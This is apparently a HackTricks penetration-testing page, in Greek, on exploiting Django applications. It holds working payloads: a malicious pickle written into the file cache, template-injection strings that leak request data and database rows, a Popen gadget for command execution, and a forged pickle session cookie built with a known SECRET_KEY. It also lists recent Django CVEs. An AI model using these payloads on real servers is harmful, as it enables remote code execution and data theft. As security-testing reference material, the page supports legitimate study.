Django

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Cache Manipulation to RCE

Η προεπιλεγμένη μέθοδος αποθήκευσης cache του Django είναι Python pickles, η οποία μπορεί να οδηγήσει σε RCE if untrusted input is unpickled. If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server.

Το cache του Django αποθηκεύεται σε ένα από τέσσερα μέρη: Redis, memory, files, ή μια database. Το cache που αποθηκεύεται σε έναν Redis server ή database είναι οι πιο πιθανές επιφάνειες επίθεσης (Redis injection and SQL injection), αλλά ένας attacker μπορεί επίσης να καταφέρει να χρησιμοποιήσει file-based cache για να μετατρέψει μια arbitrary write σε RCE. Οι maintainers έχουν χαρακτηρίσει αυτό ως μη ζήτημα. Είναι σημαντικό να σημειωθεί ότι ο φάκελος των cache files, το SQL table name, και οι λεπτομέρειες του Redis server θα διαφέρουν ανάλογα με την υλοποίηση.

Στο FileBasedCache, η pickled τιμή γράφεται σε ένα αρχείο κάτω από CACHES['default']['LOCATION'] (συχνά /var/tmp/django_cache/). Αν αυτός ο φάκελος είναι world-writable ή attacker-controlled, η απόθεση ενός κακόβουλου pickle με το αναμενόμενο cache key αποφέρει εκτέλεση κώδικα όταν η εφαρμογή το διαβάσει:

python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY

Αυτή η HackerOne αναφορά παρέχει ένα εξαιρετικό, αναπαραγώγιμο παράδειγμα εκμετάλλευσης του Django cache που αποθηκεύεται σε μια SQLite βάση δεδομένων: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

Το Django Template Language (DTL) είναι Turing-complete. Αν δεδομένα που παρέχονται από τον χρήστη αποδοθούν ως template string (για παράδειγμα με κλήση Template(user_input).render() ή όταν |safe/format_html() αφαιρούν το auto-escaping), ένας επιτιθέμενος μπορεί να επιτύχει πλήρες SSTI → RCE.

Detection

  1. Ψάξτε για δυναμικές κλήσεις σε Template() / Engine.from_string() / render_to_string() που περιλαμβάνουν οποιοδήποτε μη-ελεγχόμενο δεδομένο από το αίτημα.
  2. Στείλτε ένα time-based ή arithmetic payload:
{{7*7}}

Αν το αποδοθέν output περιέχει 49 τότε το input συντάσσεται από τη μηχανή template. 3. Το DTL δεν είναι Jinja2: arithmetic/loop payloads τακτικά προκαλούν TemplateSyntaxError/500 ενώ εξακολουθούν να αποδεικνύουν την αξιολόγηση. Polyglots όπως ${{<%[%'"}}% είναι καλές δοκιμές crash-or-render.

Context exfiltration when RCE is blocked

Ακόμα κι αν το object-walking προς subprocess.Popen αποτύχει, το DTL εξακολουθεί να εκθέτει αντικείμενα που βρίσκονται στο scope:

{{ request }}               {# confirm SSTI #}
{{ request.META }}           {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }}                  {# QuerySet in the context? #}
{{ users.0 }}                {# first row #}
{{ users.values }}           {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}

QuerySet.values() αναγκάζει τις γραμμές σε λεξικά, παρακάμπτοντας το __str__ και αποκαλύπτοντας όλα τα πεδία που επιστρέφει το queryset. Αυτό λειτουργεί ακόμα και όταν η άμεση εκτέλεση Python φιλτράρεται.

Μοτίβο αυτοματοποίησης: αυθεντικοποιήσου, πάρε το CSRF token, αποθήκευσε ένα marker-prefixed payload σε οποιοδήποτε μόνιμο πεδίο (π.χ., username/profile bio), στη συνέχεια ζήτα ένα view που το αποδίδει (AJAX endpoints όπως /likes/<id> είναι συνηθισμένα). Ανάλυσε ένα σταθερό attribute (π.χ., title="...") για να ανακτήσεις το αποδομένο αποτέλεσμα και να επαναλάβεις τα payloads.

Πρωταρχικό βήμα προς RCE

Το Django μπλοκάρει την άμεση πρόσβαση στο __import__, αλλά ο γράφος αντικειμένων Python είναι προσβάσιμος:

{{''.__class__.mro()[1].__subclasses__()}}

Βρείτε τον δείκτη του subprocess.Popen (≈400–500 ανάλογα με το build της Python) και εκτελέστε αυθαίρετες εντολές:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Ένα πιο ασφαλές universal gadget είναι να επαναλαμβάνετε μέχρι cls.__name__ == 'Popen'.

Το ίδιο gadget λειτουργεί για Debug Toolbar ή Django-CMS λειτουργίες απόδοσης template που χειρίζονται εσφαλμένα την είσοδο χρήστη.


Δείτε επίσης: ReportLab/xhtml2pdf PDF export RCE

Εφαρμογές που βασίζονται σε Django συχνά ενσωματώνουν xhtml2pdf/ReportLab για εξαγωγή views ως PDF. Όταν HTML ελεγχόμενη από τον χρήστη ρέει στην παραγωγή PDF, το rl_safe_eval μπορεί να αξιολογήσει εκφράσεις μέσα σε τριπλές αγκύλες [[[ ... ]]], επιτρέποντας την εκτέλεση κώδικα (CVE-2023-33733). Λεπτομέρειες, payloads, και mitigations:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


If the setting SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' is enabled (or a custom serializer that deserialises pickle), Django decrypts and unpickles the session cookie before calling any view code. Therefore, possessing a valid signing key (the project SECRET_KEY by default) is enough for immediate remote code execution.

Απαιτήσεις Exploit

  • Ο server χρησιμοποιεί PickleSerializer.
  • Ο attacker γνωρίζει / μπορεί να μαντέψει settings.SECRET_KEY (leaks via GitHub, .env, error pages, etc.).

Proof-of-Concept

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Στείλτε το προκύπτον cookie, και το payload εκτελείται με τα δικαιώματα του WSGI worker.

Αντιμετώπιση: Διατηρήστε τον προεπιλεγμένο JSONSerializer, αλλάζετε τακτικά το SECRET_KEY και ρυθμίστε το SESSION_COOKIE_HTTPONLY.


Πρόσφατα (2023-2025) CVE υψηλού αντίκτυπου Django που πρέπει να ελέγξουν οι pentesters

  • CVE-2025-48432Log Injection via unescaped request.path (fixed June 4 2025). Επιτρέπει σε επιτιθέμενους να εισάγουν newline/ANSI codes σε αρχεία καταγραφής και να μολύνουν την downstream ανάλυση των logs. Επίπεδο patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8). Μπορούν να κατασκευαστούν κλειδιά JSON που σπάνε το quoting και να εκτελεστεί αυθαίρετο SQL. Διορθώθηκε στις εκδόσεις 4.2.15 / 5.0.8.

Πάντα εντοπίζετε (fingerprint) την ακριβή έκδοση του framework μέσω της σελίδας σφάλματος X-Frame-Options ή του hash του /static/admin/css/base.css και δοκιμάστε τα παραπάνω όπου εφαρμόζεται.


Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks